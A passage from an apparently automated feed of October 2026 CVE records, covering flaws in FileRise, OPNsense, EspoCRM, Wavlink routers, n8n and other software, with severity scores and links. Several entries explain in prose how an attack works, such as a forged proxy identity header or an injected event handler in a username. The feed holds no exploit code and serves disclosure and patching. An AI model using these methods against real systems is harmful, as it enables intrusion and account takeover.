NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103849&date=2026-10-25
Adobe Commerce is affected by an Improper Neutralization of Special Elements Used in a Template Engine vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### kin-openapi is a Go project for handling OpenAPI files.
https://kevwire.com/record/CVE-2026-97394
kin-openapi is a Go project for handling OpenAPI files. (Oct 15, 2026).
kin-openapi is a Go project for handling OpenAPI files. From 0.136.0 until 0.143.0, openapi3filter accepts OpenAPI 3.1 array schemas without an items keyword and then dereferences the nil Schema.Items value while decoding application/x-www-form-urlencoded or multipart/form-data request bodies, response headers, and other array parameter surfaces. A remote unauthenticated client can reach an affected operation with a nonempty request or matching response and deterministically trigger a nil-pointer panic during ValidateRequest or ValidateResponse. OpenAPI 3.0 documents are not affected because document validation rejects arrays without items, and JSON request bodies use a different decoder path. This issue is fixed in version 0.143.0.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97394).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97394&date=2026-10-25).
Sources:
NVD CVE-2026-97394: https://nvd.nist.gov/vuln/detail/CVE-2026-97394
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97394&date=2026-10-25
kin-openapi is a Go project for handling OpenAPI files. From 0.136.0 until 0.143.0, openapi3filter accepts OpenAPI 3.1 array schemas without an items keyword and then dereferences the nil Schema.Items value while decoding application/x-www-form-urlencoded or multipart/form-data request bodies, response headers, and other array parameter surfaces. A remote unauthenticated client can reach an affected operation with a nonempty request or matching response and deterministically trigger a nil-pointer panic during ValidateRequest or ValidateResponse. OpenAPI 3.0 documents are not affected because document validation rejects arrays without items, and JSON request bodies use a different decoder path. This issue is fixed in version 0.143.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Regular-Expression Denial of Service (ReDoS) in the Markdown2.
https://kevwire.com/record/CVE-2026-88753
A Regular-Expression Denial of Service (ReDoS) in the Markdown2. (Oct 15, 2026).
A Regular-Expression Denial of Service (ReDoS) in the Markdown2. extract_metadata() function (lib/markdown2.py) of trentm markdown2 through v2.5.5 allows attackers to cause a Denial of Service (DoS) via a crafted Markdown document.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88753).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88753&date=2026-10-25).
Sources:
NVD CVE-2026-88753: https://nvd.nist.gov/vuln/detail/CVE-2026-88753
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88753&date=2026-10-25
A Regular-Expression Denial of Service (ReDoS) in the Markdown2. extract_metadata() function (lib/markdown2.py) of trentm markdown2 through v2.5.5 allows attackers to cause a Denial of Service (DoS) via a crafted Markdown document.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Lychee is a free, open-source photo-management tool.
https://kevwire.com/record/CVE-2026-77467
Lychee is a free, open-source photo-management tool. (Oct 15, 2026).
Lychee is a free, open-source photo-management tool. Prior to 7.7.0, Lychee enables ImageMagick PDF support with Ghostscript but does not apply an effective pre-render limit to PDF page dimensions in ImagickHandler::loadPdf(). An authenticated user who can upload a small PDF with an oversized /MediaBox can cause Imagick::readImage() to consume substantial CPU before failing to produce an image. When QUEUE_CONNECTION selects synchronous processing the request can occupy a web worker, while the official asynchronous Docker configuration can clog the shared image-processing queue and delay other work. The advisory did not identify a Ghostscript sandbox escape. This issue is fixed in version 7.7.0.
CVSS 7.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77467).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77467&date=2026-10-25).
Sources:
NVD CVE-2026-77467: https://nvd.nist.gov/vuln/detail/CVE-2026-77467
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77467&date=2026-10-25
Lychee is a free, open-source photo-management tool. Prior to 7.7.0, Lychee enables ImageMagick PDF support with Ghostscript but does not apply an effective pre-render limit to PDF page dimensions in ImagickHandler::loadPdf(). An authenticated user who can upload a small PDF with an oversized /MediaBox can cause Imagick::readImage() to consume substantial CPU before failing to produce an image. When QUEUE_CONNECTION selects synchronous processing the request can occupy a web worker, while the official asynchronous Docker configuration can clog the shared image-processing queue and delay other work. The advisory did not identify a Ghostscript sandbox escape. This issue is fixed in version 7.7.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OPNsense is a FreeBSD based firewall and routing platform.
https://kevwire.com/record/CVE-2026-58390
OPNsense is a FreeBSD based firewall and routing platform. (Oct 15, 2026).
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the OpenVPN connection-status dashboard widget in src/opnsense/www/js/widgets/OpenVPNClients.js and the connection-status view place a client common_name into data-common-name attributes without quote-safe encoding. Exploitation requires an OpenVPN server configured with username-as-common-name and RADIUS or LDAP authentication, plus the ability to provision or self-register a valid backend username containing a double quote; deployments where the same administrator controls both the identity backend and firewall do not cross a separate trust boundary. An authenticated client using that username can close the attribute and add an event handler, while the local user database is not affected because its username validator rejects quotes. Script executes in an administrator's session when the administrator opens the dashboard or connection-status page and the injected event is triggered; the demonstrated payload used pointer movement over the client row rather than unconditional page-load execution. The advisory demonstrates that the script can read config.xml, invoke privileged APIs, reset the root password, and obtain root command execution. This issue is fixed in version 26.1.11.
CVSS 8.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-58390).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-58390&date=2026-10-25).
Sources:
NVD CVE-2026-58390: https://nvd.nist.gov/vuln/detail/CVE-2026-58390
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-58390&date=2026-10-25
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the OpenVPN connection-status dashboard widget in src/opnsense/www/js/widgets/OpenVPNClients.js and the connection-status view place a client common_name into data-common-name attributes without quote-safe encoding. Exploitation requires an OpenVPN server configured with username-as-common-name and RADIUS or LDAP authentication, plus the ability to provision or self-register a valid backend username containing a double quote; deployments where the same administrator controls both the identity backend and firewall do not cross a separate trust boundary. An authenticated client using that username can close the attribute and add an event handler, while the local user database is not affected because its username validator rejects quotes. Script executes in an administrator's session when the administrator opens the dashboard or connection-status page and the injected event is triggered; the demonstrated payload used pointer movement over the client row rather than unconditional page-load execution. The advisory demonstrates that the script can read config.xml, invoke privileged APIs, reset the root password, and obtain root command execution. This issue is fixed in version 26.1.11.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations.
https://kevwire.com/record/CVE-2026-57489
FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. (Oct 14, 2026).
FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.16.0, FileRise deployments with AUTH_BYPASS enabled trust the configured reverse-proxy identity header without verifying that the request originated from FR_TRUSTED_PROXIES. When the backend application port is reachable directly, an unauthenticated attacker can supply X-Remote-User and obtain a session for the asserted account, including an administrator account, without a password or MFA. The flaw is limited to deployments that enable proxy-header authentication and expose an untrusted path to the backend. This issue is fixed in version 3.16.0.
CVSS 8.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57489).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57489&date=2026-10-25).
Sources:
NVD CVE-2026-57489: https://nvd.nist.gov/vuln/detail/CVE-2026-57489
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57489&date=2026-10-25
FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.16.0, FileRise deployments with AUTH_BYPASS enabled trust the configured reverse-proxy identity header without verifying that the request originated from FR_TRUSTED_PROXIES. When the backend application port is reachable directly, an unauthenticated attacker can supply X-Remote-User and obtain a session for the asserted account, including an administrator account, without a password or MFA. The flaw is limited to deployments that enable proxy-header authentication and expose an untrusted path to the backend. This issue is fixed in version 3.16.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### EspoCRM is an open source customer relationship management application.
https://kevwire.com/record/CVE-2026-47168
EspoCRM is an open source customer relationship management application. (Oct 15, 2026).
EspoCRM is an open source customer relationship management application. Prior to 9.3.7, an authenticated administrator can supply crafted serialized PHP object data that is stored in background MassAction or Export parameters and later deserialized by the application. The deserialization paths do not restrict allowed classes, allowing attacker-controlled object instantiation and arbitrary code execution on the server. This issue is fixed in version 9.3.7.
CVSS 9.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-47168).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-47168&date=2026-10-25).
Sources:
NVD CVE-2026-47168: https://nvd.nist.gov/vuln/detail/CVE-2026-47168
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-47168&date=2026-10-25
EspoCRM is an open source customer relationship management application. Prior to 9.3.7, an authenticated administrator can supply crafted serialized PHP object data that is stored in background MassAction or Export parameters and later deserialized by the application. The deserialization paths do not restrict allowed classes, allowing attacker-controlled object instantiation and arbitrary code execution on the server. This issue is fixed in version 9.3.7.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in Wavlink WL-WN530BE2-A up to M30BE2_V250604. The affected element is the function sub_12580 of the file api.cgi of the component Login Processing.
https://kevwire.com/record/CVE-2026-110957
A vulnerability has been found in Wavlink WL-WN530BE2-A up to M30BE2_V250604. The affected element is the function sub_12580 of the file api.cgi of the component Login Processing. (Oct 15, 2026).
A vulnerability has been found in Wavlink WL-WN530BE2-A up to M30BE2_V250604. The affected element is the function sub_12580 of the file api.cgi of the component Login Processing. The manipulation of the argument REMOTE_ADDR leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2026-09-24-841a51c6d5_tclinux.bin is sufficient to fix this issue. You should upgrade the affected component. The vendor confirms: "We confirm the finding, and it has already been addressed. In the current firmware the api=info&client=app handler no longer builds a shell command: the login script is now invoked through an argument vector (execvp) instead of system(), and the client address is length-limited and null-checked."
CVSS 9.3 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110957).
EPSS 3.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110957&date=2026-10-25).
Sources:
NVD CVE-2026-110957: https://nvd.nist.gov/vuln/detail/CVE-2026-110957
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110957&date=2026-10-25
A vulnerability has been found in Wavlink WL-WN530BE2-A up to M30BE2_V250604. The affected element is the function sub_12580 of the file api.cgi of the component Login Processing. The manipulation of the argument REMOTE_ADDR leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2026-09-24-841a51c6d5_tclinux.bin is sufficient to fix this issue. You should upgrade the affected component. The vendor confirms: "We confirm the finding, and it has already been addressed. In the current firmware the api=info&client=app handler no longer builds a shell command: the login script is now invoked through an argument vector (execvp) instead of system(), and the client address is length-limited and null-checked."

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GitPython before 3.2.0 contains a regular expression denial of service vulnerability in the _re_actor_epoch pattern used by parse_actor_and_date on author, committer, and tagger...
https://kevwire.com/record/CVE-2026-110856
GitPython before 3.2.0 contains a regular expression denial of service vulnerability in the _re_actor_epoch pattern used by parse_actor_and_date on author, committer, and tagger... (Oct 14, 2026).
GitPython before 3.2.0 contains a regular expression denial of service vulnerability in the _re_actor_epoch pattern used by parse_actor_and_date on author, committer, and tagger lines. Attackers can serve repositories with commit or tag objects containing long space-filled lines lacking a valid epoch or timezone, causing quadratic backtracking and CPU exhaustion.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110856).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110856&date=2026-10-25).
Sources:
NVD CVE-2026-110856: https://nvd.nist.gov/vuln/detail/CVE-2026-110856
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110856&date=2026-10-25
GitPython before 3.2.0 contains a regular expression denial of service vulnerability in the _re_actor_epoch pattern used by parse_actor_and_date on author, committer, and tagger lines. Attackers can serve repositories with commit or tag objects containing long space-filled lines lacking a valid epoch or timezone, causing quadratic backtracking and CPU exhaustion.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### n8n before 2.41.4 and 2.42.x before 2.42.1 contains a signature bypass in the waiting-webhook endpoint, which selects Send-and-Wait validation before normalising an alternate node...
https://kevwire.com/record/CVE-2026-110846
n8n before 2.41.4 and 2.42.x before 2.42.1 contains a signature bypass in the waiting-webhook endpoint, which selects Send-and-Wait validation before normalising an alternate node... (Oct 14, 2026).
n8n before 2.41.4 and 2.42.x before 2.42.1 contains a signature bypass in the waiting-webhook endpoint, which selects Send-and-Wait validation before normalising an alternate node reference form. Attackers holding an execution's resume token can approve waiting executions meant for others, running downstream actions under the workflow owner's credentials, potentially including command execution.
CVSS 7.0 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110846).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110846&date=2026-10-25).
Sources:
NVD CVE-2026-110846: https://nvd.nist.gov/vuln/detail/CVE-2026-110846
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110846&date=2026-10-25
n8n before 2.41.4 and 2.42.x before 2.42.1 contains a signature bypass in the waiting-webhook endpoint, which selects Send-and-Wait validation before normalising an alternate node reference form. Attackers holding an execution's resume token can approve waiting executions meant for others, running downstream actions under the workflow owner's credentials, potentially including command execution.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability has been detected in Praat up to 7.0.02. Affected is the function whisper_model_load of the file external/whispercpp/whisper.cpp of the component Model...
https://kevwire.com/record/CVE-2026-110698
A security vulnerability has been detected in Praat up to 7.0.02. Affected is the function whisper_model_load of the file external/whispercpp/whisper.cpp of the component Model... (Oct 14, 2026).
A security vulnerability has been detected in Praat up to 7.0.02. Affected is the function whisper_model_load of the file external/whispercpp/whisper.cpp of the component Model Loader. The manipulation of the argument n_dims leads to out-of-bounds write. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. The identifier of the patch is a910d21a2705ef4cd16d91f29cdc8da1ab1a7221. To fix this issue, it is recommended to deploy a patch. The project maintainer confirms: "We did a quick fix (suggested fix 1) for Praat version 7.0.03, and scheduled a better fix (suggested fix 2)."
CVSS 2.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110698).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110698&date=2026-10-25).
Sources:
NVD CVE-2026-110698: https://nvd.nist.gov/vuln/detail/CVE-2026-110698
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110698&date=2026-10-25
A security vulnerability has been detected in Praat up to 7.0.02. Affected is the function whisper_model_load of the file external/whispercpp/whisper.cpp of the component Model Loader. The manipulation of the argument n_dims leads to out-of-bounds write. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. The identifier of the patch is a910d21a2705ef4cd16d91f29cdc8da1ab1a7221. To fix this issue, it is recommended to deploy a patch. The project maintainer confirms: "We did a quick fix (suggested fix 1) for Praat version 7.0.03, and scheduled a better fix (suggested fix 2)."

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in cemtan sar2html 4.0.0. Affected by this issue is the function index of the file sar2html.py.
https://kevwire.com/record/CVE-2026-110668
A weakness has been identified in cemtan sar2html 4.0.0. Affected by this issue is the function index of the file sar2html.py. (Oct 14, 2026).
A weakness has been identified in cemtan sar2html 4.0.0. Affected by this issue is the function index of the file sar2html.py. This manipulation of the argument sort causes sql injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110668).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110668&date=2026-10-25).
Sources:
NVD CVE-2026-110668: https://nvd.nist.gov/vuln/detail/CVE-2026-110668
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110668&date=2026-10-25
A weakness has been identified in cemtan sar2html 4.0.0. Affected by this issue is the function index of the file sar2html.py. This manipulation of the argument sort causes sql injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Ellucian WebAdvisor 3.2 contains an unauthenticated XML External Entity (XXE) injection vulnerability that allows remote attackers to submit crafted XML POST requests to the...
https://kevwire.com/record/CVE-2026-109430
Ellucian WebAdvisor 3.2 contains an unauthenticated XML External Entity (XXE) injection vulnerability that allows remote attackers to submit crafted XML POST requests to the... (Oct 15, 2026).
Ellucian WebAdvisor 3.2 contains an unauthenticated XML External Entity (XXE) injection vulnerability that allows remote attackers to submit crafted XML POST requests to the /WebAdvisor/WebAdvisor endpoint without disabling external entity and DTD resolution. Attackers can exploit this flaw to force the server into SSRF requests, coerce NTLMv2 hash disclosure via attacker-controlled SMB shares, and read arbitrary files from the underlying Windows host through an out-of-band error-based channel. WebAdvisor entered end-of-support status in June 2022 and users are encouraged to migrate to Colleague Self-Service.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109430).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109430&date=2026-10-25).
Sources:
NVD CVE-2026-109430: https://nvd.nist.gov/vuln/detail/CVE-2026-109430
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109430&date=2026-10-25
Ellucian WebAdvisor 3.2 contains an unauthenticated XML External Entity (XXE) injection vulnerability that allows remote attackers to submit crafted XML POST requests to the /WebAdvisor/WebAdvisor endpoint without disabling external entity and DTD resolution. Attackers can exploit this flaw to force the server into SSRF requests, coerce NTLMv2 hash disclosure via attacker-controlled SMB shares, and read arbitrary files from the underlying Windows host through an out-of-band error-based channel. WebAdvisor entered end-of-support status in June 2022 and users are encouraged to migrate to Colleague Self-Service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### AUTOM8N (WHM/cPanel plugin) through commit 82821f7 contains an OS Command Injection in borg_restore.cgi.
https://kevwire.com/record/CVE-2026-104586
AUTOM8N (WHM/cPanel plugin) through commit 82821f7 contains an OS Command Injection in borg_restore.cgi. (Oct 15, 2026).
AUTOM8N (WHM/cPanel plugin) through commit 82821f7 contains an OS Command Injection in borg_restore.cgi.
CVSS 9.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104586).
EPSS 1.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104586&date=2026-10-25).
Sources:
NVD CVE-2026-104586: https://nvd.nist.gov/vuln/detail/CVE-2026-104586
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104586&date=2026-10-25
AUTOM8N (WHM/cPanel plugin) through commit 82821f7 contains an OS Command Injection in borg_restore.cgi.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations.
https://kevwire.com/record/CVE-2026-104108
FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. (Oct 14, 2026).
FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.23.0, FileRise maps an authenticated OIDC identity to a local account using mutable preferred_username or email claims and does not require email_verified for email-based naming. An attacker who can obtain provider-issued claims colliding with an existing local username can be logged in as that account, including the built-in administrator, even when automatic provisioning is disabled. Exploitability depends on the configured identity provider allowing the colliding claim. This issue is fixed in version 3.23.0.
CVSS 8.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104108).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104108&date=2026-10-25).
Sources:
NVD CVE-2026-104108: https://nvd.nist.gov/vuln/detail/CVE-2026-104108
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104108&date=2026-10-25
FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.23.0, FileRise maps an authenticated OIDC identity to a local account using mutable preferred_username or email claims and does not require email_verified for email-based naming. An attacker who can obtain provider-issued claims colliding with an existing local username can be logged in as that account, including the built-in administrator, even when automatic provisioning is disabled. Exploitability depends on the configured identity provider allowing the colliding claim. This issue is fixed in version 3.23.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations.
https://kevwire.com/record/CVE-2026-103977
FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. (Oct 14, 2026).
FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.23.0, FileRise stores failed TOTP verification attempts in $_SESSION. An attacker who already possesses a target account's valid primary credential can restart the login workflow in a new session and restore the second-factor attempt allowance, permitting continued online TOTP guessing beyond the intended five-attempt limit. The pending-login TOTP handlers did not share a durable account-wide limit. This issue is fixed in version 3.23.0.
CVSS 8.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103977).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103977&date=2026-10-25).
Sources:
NVD CVE-2026-103977: https://nvd.nist.gov/vuln/detail/CVE-2026-103977
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103977&date=2026-10-25
FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.23.0, FileRise stores failed TOTP verification attempts in $_SESSION. An attacker who already possesses a target account's valid primary credential can restart the login workflow in a new session and restore the second-factor attempt allowance, permitting continued online TOTP guessing beyond the intended five-attempt limit. The pending-login TOTP handlers did not share a durable account-wide limit. This issue is fixed in version 3.23.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### kin-openapi is a Go project for handling OpenAPI files.
https://kevwire.com/record/CVE-2026-100352
kin-openapi is a Go project for handling OpenAPI files. (Oct 15, 2026).
kin-openapi is a Go project for handling OpenAPI files. Prior to 0.148.0, the OpenAPI 3.1 validation path passes YAML NaN and infinity numeric values to santhosh-tekuri/jsonschema v6.0.2 without applying kin-openapi's existing finite-number guards. A remote unauthenticated client can send an application/yaml or application/x-yaml request body containing .nan, .inf, or -.inf to an operation with a numeric constraint, causing the dependency to create and dereference a nil big.Rat during ValidateRequest. Standard net/http servers recover the panic per connection, while other hosts or application goroutines may terminate the process. This issue is fixed in version 0.148.0.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100352).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100352&date=2026-10-25).
Sources:
NVD CVE-2026-100352: https://nvd.nist.gov/vuln/detail/CVE-2026-100352
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100352&date=2026-10-25
